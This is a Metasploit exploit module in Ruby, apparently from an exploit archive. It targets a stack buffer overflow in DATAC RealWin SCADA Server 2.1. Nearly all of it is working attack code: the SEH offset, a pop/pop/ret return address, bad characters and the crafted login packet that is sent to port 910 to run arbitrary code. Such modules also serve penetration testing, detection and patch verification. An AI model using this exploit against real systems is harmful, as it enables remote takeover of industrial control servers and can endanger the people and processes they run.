RealWin SCADA Server – DATAC Login Buffer Overflow (Metasploit)
## # $Id: realwin_on_fcs_login.rb 13007 2011-06-22 22:36:55Z sinn3r $ ## ## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # Framework web site for more information on licensing and terms of use. # http://metasploit.com/framework/ ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = GreatRanking include Msf::Exploit::Remote::Tcp include Msf::Exploit::Remote::Seh def initialize(info = {}) super(update_info(info, 'Name' => 'RealWin SCADA Server DATAC Login Buffer Overflow', 'Description' => %q{ This module exploits a stack buffer overflow in DATAC Control International RealWin SCADA Server 2.1 (Build 6.0.10.10) or earlier. By sending a specially crafted On_FC_CONNECT_FCS_LOGIN packet containing a long username, an attacker may be able to execute arbitrary code. }, 'Author' => [ 'Luigi Auriemma', #discovery 'MC', 'B|H <bh[AT]bufferattack.com>' ], 'License' => MSF_LICENSE, 'Version' => '$Revision: 13007 $', 'References' => [ [ 'URL', 'http://aluigi.altervista.org/adv/realwin_2-adv.txt' ], [ 'URL', 'http://www.dataconline.com/software/realwin.php' ], ], 'Privileged' => true, 'DefaultOptions' => { 'EXITFUNC' => 'thread', }, 'Payload' => { 'Space' => 450, 'BadChars' => "\x00\x20\x0a\x0d", 'StackAdjustment' => -3500, }, 'Platform' => 'win', 'Targets' => [ [ 'Universal', { 'Offset' => 392, # Offset to SEH 'Ret' => 0x40012540, # pop/pop/ret @FlexMLang.dll } ], ], 'DefaultTarget' => 0, 'DisclosureDate' => 'Mar 21 2011')) register_options([Opt::RPORT(910)], self.class) end def exploit data = [0x67542310].pack('V') data << [0x00000824].pack('V') data << [0x00110011].pack('V') data << "\x01\x00" data << rand_text_alpha_upper(target['Offset']) data << generate_seh_payload(target.ret) data << rand_text_alpha_upper(17706 - payload.encoded.length) data << [0x451c3500].pack('V') data << [0x00000154].pack('V') data << [0x00020040].pack('V') connect print_status("Trying target #{target.name}...") sock.put(data) select(nil,nil,nil,0.5) handler disconnect end end |